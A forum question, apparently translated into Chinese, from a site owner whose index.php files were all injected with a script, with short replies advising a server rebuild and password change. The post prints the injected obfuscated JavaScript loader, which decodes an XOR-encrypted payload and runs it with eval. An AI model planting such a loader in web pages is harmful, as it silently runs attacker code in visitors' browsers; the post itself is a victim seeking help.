我的網站上的所有index.php文件都被身體標記中的代碼注入攻擊了,見下文。有誰知道他們是如何做到的,如果有辦法找到它如何防止它?我網站上的所有index.php文件都被黑客攻擊了
echo "<body><script language="javascript">try { function BwrLMVnkPmRbZYpfwLH(MLJOynjaY){var iMgpLZHO="",aVwbJg,oKONbIZB,gdGJUWTs,siAOty,hPaiwMZ,NxynbqCA,VxXqcPIGHh,UclXTRxDsh,bRLAlhars;var nGBCFoc="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/=";var OZymdhDIRb="";for(UclXTRxDsh=0;UclXTRxDsh<MLJOynjaY.length;){siAOty=nGBCFoc.indexOf(MLJOynjaY.charAt(UclXTRxDsh++));hPaiwMZ=nGBCFoc.indexOf(MLJOynjaY.charAt(UclXTRxDsh++));bRLAlhars=BwrLMVnkPmRbZYpfwLH;NxynbqCA=nGBCFoc.indexOf(MLJOynjaY.charAt(UclXTRxDsh++));VxXqcPIGHh=nGBCFoc.indexOf(MLJOynjaY.charAt(UclXTRxDsh++));aVwbJg=(siAOty<<2)+(hPaiwMZ>>4);oKONbIZB=((hPaiwMZ&15)<<4)+(NxynbqCA>>2);gdGJUWTs=((NxynbqCA&3)<<6)+VxXqcPIGHh;bRLAlhars=bRLAlhars.toString();iMgpLZHO+=String.fromCharCode(aVwbJg);if(NxynbqCA!=64)iMgpLZHO+=String.fromCharCode(oKONbIZB);if(VxXqcPIGHh!=64)iMgpLZHO+=String.fromCharCode(gdGJUWTs);}bRLAlhars=bRLAlhars.replace(/\W/g,"");bRLAlhars=bRLAlhars.split("").reverse().join("");for(UclXTRxDsh=0;UclXTRxDsh<iMgpLZHO.length;UclXTRxDsh++)OZymdhDIRb+=String.fromCharCode(iMgpLZHO.charCodeAt(UclXTRxDsh%iMgpLZHO.length)^bRLAlhars.charCodeAt(UclXTRxDsh%bRLAlhars.length));return eval(OZymdhDIRb);}BwrLMVnkPmRbZYpfwLH("QnJpZEhETVl6b0xBVmxnBBQGRRsOBgYDAExOUgUHDzQhNwwcXScKNzUsCSY5ESwAChtrUAgOERIfBEpFekZbawESFQ8ICWE/MygED21USFF1WmleUWUKMwYgCAFBKxcIDws7aGdsUlZvUm9tZioUEwkuCEEBFAROVFJWOxYmOX5HSxVULyEBEGobPTl3BQ17CxMOUVdOdEJTRRQILhwFFioMfDY3CBp7URgDIRY2FzAFDzFaBgAcCAIPTEg=");} catch(e){}</script>";*
不,但該服務器已損壞。殺了它,從頭開始。並確保您更改密碼。 –
假設它不是一個共享服務器... – Ricket